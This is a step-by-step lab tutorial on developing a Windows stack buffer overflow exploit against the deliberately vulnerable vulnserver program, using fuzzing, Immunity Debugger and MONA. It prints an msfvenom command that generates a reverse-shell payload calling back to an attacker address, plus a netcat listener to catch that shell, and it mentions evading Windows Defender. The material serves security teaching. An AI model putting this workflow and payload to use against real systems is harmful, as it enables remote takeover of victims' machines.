Windows Exploit Development With Buffer Overflow Example 1
Buffer Overflows
In general when we write an exploit we need to find an overflow in a program. Commonly these bugs will be either Buffer Overflows (a memory location receives more data than it was meant to) or Stack Overflows (usually a Buffer Overflow that writes beyond the end of the stack). When such an overflow occurs there are two things we are looking for;
(1) our buffer needs to overwrite EIP (Current Instruction Pointer)
(2) one of the CPU registers needs to contain our buffer.
You can see a list of x86 CPU registers below with their separate functions. All we need to remember is that any of these registers can store our buffer (and shellcode).
EAX - Main register used in arithmetic calculations. Also known as accumulator, as it holds results
of arithmetic operations and function return values.
EBX - The Base Register. Pointer to data in the DS segment. Used to store the base address of the
program.
ECX - The Counter register is often used to hold a value representing the number of times a process
is to be repeated. Used for loop and string operations.
EDX - A general purpose registers. Also used for I/O operations. Helps extend EAX to 64-bits.
ESI - Source Index register. Pointer to data in the segment pointed to by the DS register. Used as
an offset address in string and array operations. It holds the address from where to read data.
EDI - Destination Index register. Pointer to data (or destination) in the segment pointed to by the
ES register. Used as an offset address in string and array operations. It holds the implied
write address of all string operations.
EBP - Base Pointer. Pointer to data on the stack (in the SS segment). It points to the bottom of the
current stack frame. It is used to reference local variables.
ESP - Stack Pointer (in the SS segment). It points to the top of the current stack frame. It is used
to reference local variables.
EIP - Instruction Pointer (holds the address of the next instruction to be executed)
We will use these tools:
- Basic Python scripting
- Immunity Debugger
- MONA plug-in for Immunity
- Metasploit Framework
This write up guides you through all the steps of developing a Windows exploit, using a program that deliberately has a simple buffer overflow vulnerability.
Here are the steps of the process:
- Preparing a vulnerable server
- Fuzzing the server
- Using a debugger to examine the crash
- Targeting the EIP register
- Identifying bad characters
- Locating a vulnerable module with MONA
- Generating exploit code with Msfpayload
- Creating final exploit code
Target Application (vulnserver) : https://github.com/whichbuffer/WindowsExploitDev/blob/master/vulnserver/vulnserver.zip
Testing the Server
On your Kali Linux machine, in a Terminal window, execute this command:
Replace the IP address with the IP address of your Windows machine.
nc YOUR-SERVER-IP 9999
You should see a banner saying “Welcome to Vulnerable Server!”, as shown below.
Type HELP and press Enter. You see a lot of commands. None of these actually do anything useful, but they do take input and process it.
Fuzzing
Fuzzing or fuzz testing is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program. The program is then monitored for exceptions such as crashes, failing built-in code assertions, or potential memory leaks.
On your Kali Linux machine, in a Terminal window, execute this command:
nano vs-fuzz1
In the nano window, type or paste this code. This is a simple Python script that does the same thing you just did — it connects to the server and executes a TRUN command with a specified number of “A” characters.
Replace the IP address with the IP address of your Windows machine.
Run the fuzzer, but enter a length of 9000.An error message says “vulnserver.exe has stopped working”, as shown below.
Starting Immunity and Attaching a Process
On your Windows desktop, right-click the “Immunity Debugger” and click “Run as Administrator”.
In the “User Account Control” box, click Yes.
Immunity Debugger runs, with four black panes, as shown below.
Make your Windows desktop large, and drag the borders of the panes so you can see all four of them, as shown below.
Now we will attach a running process to Immunity. That will encapsulate the process inside Immunity, so Immunity can examine and control the process.
From the Immunity Debugger menu bar, click File, Attach.
In the “Select process to attach” box, click vulnserver, as shown below, and click the Attach button.
Understanding the Immunity Window
This is the “CPU Window” in Immunity, and it’s the one you will use most of the time.
Locate these items in your Immunity window, as marked in the image below.
Status in the lower right corner: this shows if the program is Paused or Running. When Immunity attaches a process, the process starts in the Paused state.
Current Instruction in the lower left: this shows exactly which instruction the process is executing right now. Immunity has automatically assigned a breakpoint at the start of the process and right now its execution has paused there.
Registers in the upper right: The most important items here are:
- EIP: the Extended Instruction Pointer is the address of the next instruction to be processed.
- ESP: the Extended Stack Pointer is the top of the stack
- EBP: the Extended Base Pointer is the bottom of the stack
Assembly Code in the upper left: This is the most difficult part of the window to understand. It shows the processor instructions one at a time in “Assembly Language”, with instructions like MOV and CMP. Assembly language is difficult to learn, but you don’t need to learn much of it to develop simple exploits. Don’t struggle much with this pane at first.
Hex Dump at the lower left: this shows a region of memory in hexadecimal on the left and in ASCII on the right. For simple exploit development, we’ll use this pane to look at targeted memory regions, usually easily labelled with ASCII text.
Stack in the lower right. This shows the contents of the Stack, but it’s presented in a way that is not very helpful for us right now. For this project, disregard this pane.
Running the Vulnerable Server in Immunity
On your Windows desktop, in the Immunity Debugger window, at the top left, click the magenta Run Button, as shown below. This runs the Vulnerable Server inside the debugger, so we can attack it.
The Status at the lower right changes to “Running”.
Observing a Crash in the Immunity Debugger
On your Kali Linux machine, in a Terminal window, execute this command:
./vs-fuzz1
Enter a “Length of Attack” of 2000 and press Enter.
The server doesn’t respond. because it is crashing.
On your Windows machine, in the Immunity window, at the lower left, you see “Access violation when writing to [41414141], as shown below.
Sending 3000 ‘A’ Characters
On your Kali Linux machine, in a Terminal window, execute this command:
./vs-fuzz1
Enter a “Length of Attack” of 3000 and press Enter.
On your Windows 7 machine, in the Immunity window, at the lower left, you see “Access violation when executing [41414141], as shown below.
This is a classic buffer overflow exploit — the injected characters are placed into the EIP when a subroutine returns, so they become the address of the next instruction to be executed.
41414141 is not a valid address, so Immunity detects that the program is crashing and pauses so you can see what’s happening.
This is common in exploit development — an attack of one length has different results than an attack of a different length.
From now on, we’ll use a length of 3000 for all attacks.
Targeting the EIP Precisely
We can now write a program that exactly hits the EIP.
On your Kali Linux machine, in a Terminal window, execute this command:
nano vs-eip2
In the nano window, type or paste this code.
Replace the IP address with the IP address of your Windows 7 machine.
This program will send a 3000-byte attack to the server, consisting of 2006 ‘A’ characters followed by ‘BCDE’ which should end up in the EIP, and enough ‘F’ characters to make the total 3000 bytes long.
To save the code, type Ctrl+X, then release the keys and press Y, release the keys again, and press Enter.
Next you need to make the program executable. To do that, in Kali Linux, in a Terminal window, execute this command:
chmod a+x vs-eip2
On your Kali Linux machine, in a Terminal window, execute this command:
./vs-eip2
The lower left corner of the Immunity window now says “Access violation when executing [45444342]”, as shown below.
This is success — those hex values are ‘BCDE’ in reverse order.
The Problem of Bad Characters
This exploit relies on tricking the program by inserting code into a data structure that was not intended to hold code — it’s something else, such as a directory name.
Just from common sense, one might expect these characters to cause trouble:
Hex Dec Description
--- --- ---------------------------------------------
0x00 0 Null byte, terminates a C string
0x0A 10 Line feed, may terminate a command line
0x0D 13 Carriage return, may terminate a command line
0x20 32 Space, may terminate a command line argument
Not all these characters are always bad, and there might be other bad characters too. So the next task is to try injecting them and see what happens.
Finding Useful Assembly Code
We have control over the EIP, so we can point to any executable code we wish. What we need to do is find a way to execute the bytes at the location in ESP.
There are two simple instructions that will work: “JMP ESP” and the two-instruction sequence “PUSH ESP; RET”.
To find these instructions, we need to examine the modules loaded when Vulnerable Server is running.
Installing MONA
MONA is a python module which gives Immunity the ability to list modules and search through them.
On your Windows machine, open Internet Explorer, and open this page:
http://redmine.corelan.be/projects/mona
In the “Download” section, right-click the “here”link below, and click “Save Target As”. Save the file in your Downloads folder.
In Windows Explorer, in the left pane, expand the Computer container.
If you are using a 64-bit system, navigate to:
C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands
IIf you are using a 32-bit system, navigate to:
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
In the right pane of Windows Explorer, right-click and click Paste.
A box pops up saying “You’ll need to provide administrator permission…”. Click Continue.
Mona appears in the window, as shown below.
Listing Modules with Mona
In Immunity, at the bottom, there is a white bar. Click in that bar and type this command, followed by the Enter key:
!mona modules
Focus on the chart at the bottom, as shown below.
This chart shows all the modules loaded as part of Vulnerable Server, and several important properties for each one.
The property of most importance to us now is ASLR, which causes the address of the module to vary each time it is restarted.
Another property that can cause trouble is “Rebase”, which relocates a module if another module is already loaded in its preferred memory location.
To make the most reliable exploit, we want to use a module without ASLR or Rebase.
There are two modules with “False” in both the Rebase and ASLR columns: essfunc.dll and vulnserver.exe.
However, notice the address values at the left of the chart — vulnserver.exe is loaded at very low address values, starting with 0x00, so any reference to addresses within vulnserver.exe will require a null byte, and that won’t work because ‘\x00’ is a bad character.
So the only usable module is essfunc.dll.
Finding JMP ESP with MONA
In Immunity, at the bottom, execute this command in the white bar.
!mona find -s "\xff\xe4" -m essfunc.dll
This searches the essfunc.dll module for the bytes FFE4.
9 locations were found with those contents, as shown below.
We’ll use the first location:
625011af
Preparing the Python Attack Code
This program sets up the exploit, but at the moment the exploit code is missing.
On your Kali Linux machine, in a Terminal window, execute this command:
nano vs-shell
In the nano window, type or paste this code.
Replace the IP address with the IP address of your Windows machine.
Creating Exploit Code
On your Kali Linux machine, in a Terminal window, execute this command.
ip addr
Find your Kali machine’s IP address and make a note of it.
On your Kali Linux machine, in a Terminal window, execute the command below.
Replace the IP address with the IP address of your Kali Linux machine.
We can now generate our shellcode excluding the badchars found:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.103 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a"
This command makes an exploit that will connect from the Windows target back to the Kali Linux attacker on port 443 and execute commands from Kali.
The exploit is encoded to avoid null bytes. because ‘\x00’ is a bad character.
Use the mouse to highlight the exploit code, as shown below. Right-click the highlighted code and click Copy.
Inserting the Exploit Code into Python
On your Kali Linux machine, in a Terminal window, execute this command:
nano vs-shell
Use the down-arrow key to move the cursor into the blank line below this line:
exploit = (
Right-click and click Paste, as shown below.
To save the code, type Ctrl+X, then release the keys and press Y, release the keys again, and press Enter.
Next you need to make the program executable. To do that, in Kali Linux, in a Terminal window, execute this command:
chmod a+x vs-shell
Starting a Listener
On your Kali Linux machine, open a new Terminal window and execute this command:
nc -nlvp 443
This starts a listener on port 443, to take control of the Windows target.
Running the Exploit
On your Kali Linux machine, in a Terminal window, execute this command:
./vs-shell
Tested On : Windows 7 and latest updated Windows 10 shout out to Windows Defender (x64 / x86)
Source Codes https://github.com/whichbuffer/WindowsExploitDev/tree/master/vulnserver